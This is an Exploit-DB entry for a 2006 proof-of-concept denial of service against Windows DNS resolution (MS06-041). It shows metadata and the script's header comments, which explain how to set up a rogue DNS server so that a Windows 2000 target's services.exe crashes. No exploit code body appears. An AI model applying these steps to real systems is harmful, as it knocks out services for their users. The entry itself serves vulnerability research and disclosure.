Exploit-DB #2900
Description: Microsoft Windows - DNS Resolution Remote Denial of Service (PoC) (MS06-041)
Type: dos
Platform: windows
Date: 2006-12-09
Author: Winny Thomas

Exploit:
#!/usr/bin/python
#POC for MS06-041
#Run the python script passing the local ip address as parameter. The DNS server
#will start listening on this ip address for DNS hostname resolution queries.
#This script is for testing and educational purpose and so to test this one will
#have to point the DNS resolver on the target/client to the ip address on which
#this script runs.
#Open up internet explorer and type in a hostname. services.exe will crash.
#You may have to repeat this two or three times to see the crash in services.exe
# Tested on Windows 2000 server SP0 and SP1  inside VmWare. Could not
# reproduce on SP4 though it is also vulnerable. May be I missed something :)
#
# For testing/educational purpose. Author shall bear no responsibility for any screw ups
# Winny Thomas ;-)
